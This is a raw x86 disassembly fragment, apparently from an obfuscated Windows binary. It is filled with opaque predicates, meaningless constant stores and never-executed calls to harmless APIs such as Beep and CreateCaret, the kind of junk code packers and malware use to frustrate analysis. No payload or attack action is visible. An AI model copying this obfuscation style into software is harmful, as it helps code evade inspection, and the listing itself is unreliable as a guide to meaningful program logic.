mov ecx, dword [ebp - 0x71c]
mov dword [eax], ecx
imul eax, dword [ebp - 0x71c], 0xfffffffa
cmp eax, 1
jne 0x47067e
mov dword [ebp - 0xb8c], 1
jmp 0x470685
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0xb8c]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0xf4c]
mov dword [ebp - 0x1c98], eax
mov eax, dword [ebp - 0x171c]
mov dword [ebp - 0x1e00], eax
push 0
lea ecx, [ebp - 0x1320]
call fcn.0043084e
push 0
lea ecx, [ebp - 0x1850]
call fcn.0043084e
mov eax, dword [eax]
mov dword [ebp - 0x1724], eax
jmp 0x470580
lea ecx, [ebp - 0x1850]
call fcn.00430832
lea ecx, [ebp - 0x1320]
call fcn.00430832
mov dword [ebp - 0x410], 1
mov dword [ebp - 0xe4], 0xf75d
mov dword [ebp - 0xa4], 1
cmp dword [ebp - 0xe4], 0
je 0x4708d8
push 2
lea ecx, [ebp - 0x1330]
call fcn.00430760
mov dword [ebp - 0x17b4], 0xfffffff9
mov dword [ebp - 0x610], 0
jmp 0x470741
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 2
jge 0x470763
push dword [ebp - 0x610]
lea ecx, [ebp - 0x1330]
call fcn.0043084e
mov dword [eax], 0x2d76
jmp 0x470734
cmp dword [ebp - 0xe4], 0xcdf5ef88
jne 0x47077b
mov dword [ebp - 0xb94], 1
jmp 0x470782
and dword [ebp - 0xb94], 0
push 0
lea ecx, [ebp - 0x1330]
call fcn.0043084e
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xb94]
jg 0x4707b1
mov dword [ebp - 0x112c], 1
jmp 0x4707b8
and dword [ebp - 0x112c], 0
mov esi, dword [ebp - 0xe4]
push 1
lea ecx, [ebp - 0x1330]
call fcn.0043084e
add esi, dword [eax]
add esi, dword [ebp - 0x112c]
jne 0x4707e1
mov dword [ebp - 0xb9c], 1
jmp 0x4707e8
and dword [ebp - 0xb9c], 0
push 1
lea ecx, [ebp - 0x1330]
call fcn.0043084e
mov ecx, dword [ebp - 0xb9c]
cmp ecx, dword [eax]
jge 0x47080b
mov dword [ebp - 0xf54], 1
jmp 0x470812
and dword [ebp - 0xf54], 0
push 0
lea ecx, [ebp - 0x1330]
call fcn.0043084e
mov eax, dword [eax]
cmp eax, dword [ebp - 0xf54]
jle 0x470835
mov dword [ebp - 0xba4], 1
jmp 0x47083c
and dword [ebp - 0xba4], 0
push 0
lea ecx, [ebp - 0x1330]
call fcn.0043084e
mov ecx, dword [ebp - 0xba4]
cmp ecx, dword [eax]
jl 0x47085f
mov dword [ebp - 0x121c], 1
jmp 0x470866
and dword [ebp - 0x121c], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x121c], eax
jg 0x470880
mov dword [ebp - 0x172c], 1
jmp 0x470887
and dword [ebp - 0x172c], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1ca8], eax
push 0
lea ecx, [ebp - 0x1330]
call fcn.0043084e
cmp dword [eax], 0x5f4e
je 0x4708b4
mov dword [ebp - 0xbac], 1
jmp 0x4708bb
and dword [ebp - 0xbac], 0
imul eax, dword [ebp - 0xbac], 0xfffffff7
mov dword [ebp - 0x17b4], eax
lea ecx, [ebp - 0x1330]
call fcn.00430832
jmp 0x4709f9
mov dword [ebp - 0xf5c], 0
mov byte [ebp - 0x182], 0
movzx eax, byte [ebp - 0x182]
test eax, eax
je 0x47090d
push 0x6e4
push 0x1d5e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
mov dword [ebp - 0xe4], 0
jmp 0x470926
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x1c
jg 0x4709f9
push 2
lea ecx, [ebp - 0x1cd4]
call fcn.00430760
mov dword [ebp - 0x4d4], 0
jmp 0x470959
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 2
jge 0x470978
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x1cd4]
call fcn.0043084e
and dword [eax], 0
jmp 0x47094c
mov dword [ebp - 0xa4], 0
jmp 0x470991
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jg 0x4709b8
mov byte [ebp - 0x220], 0
movzx eax, byte [ebp - 0x220]
test eax, eax
je 0x4709b6
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
jmp 0x470984
mov dword [ebp - 0xa4], 0
jmp 0x4709d1
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x19
jl 0x4709e9
mov eax, dword [ebp - 0xf5c]
dec eax
mov dword [ebp - 0xf5c], eax
jmp 0x4709c4
lea ecx, [ebp - 0x1cd4]
call fcn.00430832
jmp 0x470919
mov dword [ebp - 0x6f4], 0xfff7
mov dword [ebp - 0x574], 0xddc85f70
mov dword [ebp - 0x574], 3
jmp 0x470a26
mov eax, dword [ebp - 0x574]
dec eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0
jg 0x470a74
mov dword [ebp - 0x1928], 0xfffffffc
mov dword [ebp - 0x1924], 0xfffffffc
mov dword [ebp - 0x1920], 0xfffffffc
mov dword [ebp - 0x191c], 0xfffffffc
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1928]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1928], eax
jmp 0x470a19
mov byte [ebp - 0x184], 0
movzx eax, byte [ebp - 0x184]
test eax, eax
je 0x470a96
push 0x55e
push 0x21b7
call dword [sym.imp.KERNEL32.dll_Beep]
mov dword [ebp - 0x16f4], 0
mov dword [ebp - 0x2ac], 0xffffffff
mov dword [ebp - 0x2ac], 0xffffffe5
jmp 0x470ac3
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0xfffffff3
jg 0x470ae8
mov byte [ebp - 0x22c], 0
movzx eax, byte [ebp - 0x22c]
test eax, eax
je 0x470ae6
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
jmp 0x470ab6
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2d8], 0
jmp 0x470b0d
cmp dword [ebp - 0x2d8], 0xfffffff6
jl 0x473129
mov dword [ebp - 0x12a4], 4
mov dword [ebp - 0x1ed8], 0x79c63c40
mov dword [ebp - 0x17cc], 0xffffffff
mov dword [ebp - 0x1cb8], 0xbbe56890
mov dword [ebp - 0x1e08], 0xffffffff
mov dword [ebp - 0xbbc], 0x4a55f07c
mov dword [ebp - 0x1cc8], 0x27d373ee
mov dword [ebp - 0x1e84], 0xffffffff
mov dword [ebp - 0x17d4], 0xfffffffb
mov dword [ebp - 0xf6c], 0xd8143836
push 4
lea ecx, [ebp - 0x1a8c]
call fcn.00430760
mov dword [ebp - 0x6b0], 5
mov dword [ebp - 0x19a0], 8
mov dword [ebp - 0x199c], 8
mov dword [ebp - 0x1998], 8
mov dword [ebp - 0x1994], 8
lea ecx, [ebp - 0x749]
call fcn.0043085d
push eax
lea eax, [ebp - 0x1990]
push eax
lea eax, [ebp - 0x19a0]
push eax
lea ecx, [ebp - 0x1fe0]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f14]
call fcn.0043080c
mov dword [ebp - 0x1cd8], 0xb2a8f302
mov dword [ebp - 0x6b8], 1
mov dword [ebp - 0x64], 0
jmp 0x470c16
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 4
jge 0x470c32
push dword [ebp - 0x64]
lea ecx, [ebp - 0x1a8c]
call fcn.0043084e
mov dword [eax], 0x9333c7d2
jmp 0x470c0f
mov dword [ebp - 0x64], 0
jmp 0x470c42
cmp dword [ebp - 0x64], 2
jge 0x470c58
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x1940], 0xb80ebbd4
jmp 0x470c3b
mov dword [ebp - 0x64], 0
jmp 0x470c68
push 3
lea ecx, [ebp - 0x1d04]
call fcn.00430760
mov dword [ebp - 0x420], 0
jmp 0x47314f
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 3
jge 0x473171
push dword [ebp - 0x420]
lea ecx, [ebp - 0x1d04]
call fcn.0043084e
mov dword [eax], 0xfffffff9
jmp 0x473142
mov byte [ebp - 0x22e], 0
movzx eax, byte [ebp - 0x22e]
test eax, eax
je 0x473189
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov byte [ebp - 0x226], 0
movzx eax, byte [ebp - 0x226]
test eax, eax
je 0x4731aa
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
lea ecx, [ebp - 0x1d04]
call fcn.00430832
mov byte [ebp - 0x199], 0
mov dword [ebp - 0x1a18], 7
mov dword [ebp - 0x1a14], 7
mov dword [ebp - 0x1a10], 7
mov dword [ebp - 0x1a0c], 7
lea ecx, [ebp - 0x71d]
call fcn.0043085d
push eax
lea eax, [ebp - 0x1a08]
push eax
lea eax, [ebp - 0x1a18]
push eax
lea ecx, [ebp - 0x1fb0]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1d14]
call fcn.0043080c
mov dword [ebp - 0x428], 0
jmp 0x473232